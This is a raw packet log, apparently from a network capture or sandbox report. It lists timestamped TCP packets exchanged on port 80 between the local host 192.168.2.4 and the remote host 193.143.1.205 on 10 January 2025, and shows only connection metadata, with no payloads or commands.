Jan 10, 2025 19:06:18.462382078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462393045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462405920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.462443113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.462678909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462794065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462805033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462817907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462836981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.462837934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462852001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462853909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.462868929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.462899923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.463223934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463268042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.463270903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463287115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463327885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.463363886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463402987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463414907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463426113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463439941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463439941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.463470936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.463588953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463603020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463614941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463625908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.463630915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.463649035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.464190006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464214087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464226961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464240074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.464263916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.464402914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464423895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464437008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464448929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464462042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.464462996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464478970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464492083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.464502096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.464534044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.477106094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477132082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477143049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477190971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477199078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.477204084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477216959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.477256060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.477263927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477277994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477312088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.477391005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477435112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477448940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477474928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.477488995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.477530956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.509882927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.509900093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.509911060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.509917974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.510003090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.547929049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.547952890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.547966003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.547977924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548048973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548089981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548099041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548125982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548141956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548152924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548165083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548178911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548191071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548223972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548235893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548242092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548279047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548296928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548310041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548336983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548338890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548348904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548393965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548444986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548456907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548468113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548480988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548492908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548494101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548521042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548629045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548681021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548685074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548753023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548774004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548795938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548799992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548826933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548840046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548851967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548876047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548888922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.548897982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548921108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.548939943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.549223900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.549245119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.549304008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.549325943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.549346924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.549365997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.549465895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.585827112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.585870981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.585891008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.585906982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.585912943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.585932016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.585949898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.585971117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.585990906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586009979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586039066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586050034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586082935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586100101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586122036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586170912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586186886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586199999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586203098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586222887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586246014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586287022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586308002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586323023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586338997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586364985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586436987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586452961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586467981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586483002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586498022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586519003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586595058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586610079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586625099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586635113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586641073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586657047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586663961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586673975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586694002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.586771011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.586811066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.587071896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587096930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587136984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.587141991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587176085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587191105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587212086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.587295055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587311029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587332964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.587335110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587369919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.587382078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587397099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587430000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.587624073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587640047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587656021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.587702036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.596493006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.596520901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.596533060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.596546888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.596555948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.596586943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.604254007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.611386061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.634557962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634573936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634588957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634628057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634640932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.634644985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634670019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.634680033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634687901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.634782076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634797096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634813070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634819031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.634850979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.634932995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.634987116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635001898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635049105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635077953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635092974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635124922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635251999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635266066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635283947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635288954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635309935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635322094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635332108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635346889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635360956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635370970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635375977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635396004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635586977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635601044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635616064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635624886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635658979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635679007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635693073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635709047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635729074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635788918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635802031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635828018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635910988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635947943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.635963917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.635978937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636012077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.636044979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636059999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636075020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636095047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.636168003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636183023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636198044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636202097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.636231899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.636290073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636305094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636318922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636333942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636337042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.636351109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636363029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.636370897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.636399984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.677614927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.683923960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.683957100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.683971882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.683999062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684021950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684040070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684082031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684099913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684115887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684133053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684140921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684166908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684282064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684295893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684312105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684326887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684335947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684344053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684360027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684364080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684395075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684438944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684453964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684469938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684474945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684494019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684600115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684614897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684628963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684638977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684654951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684668064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684670925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684688091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684705019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684710026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684721947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684737921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684742928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684751987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684773922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684787035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684791088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684806108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684815884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.684825897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.684847116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685086012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685101986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685134888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685262918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685276985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685292006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685313940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685328960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685352087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685364962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685379982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685396910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685406923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685410023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685425997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685436964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685442924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685458899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685461998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685492992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685494900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685512066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685544968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685569048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685584068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685599089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685614109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.685616016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.685646057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:06:18.721631050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721666098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721683025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:06:18.721698999 CET	80	49730	193.143.1.205	192.168.2.4
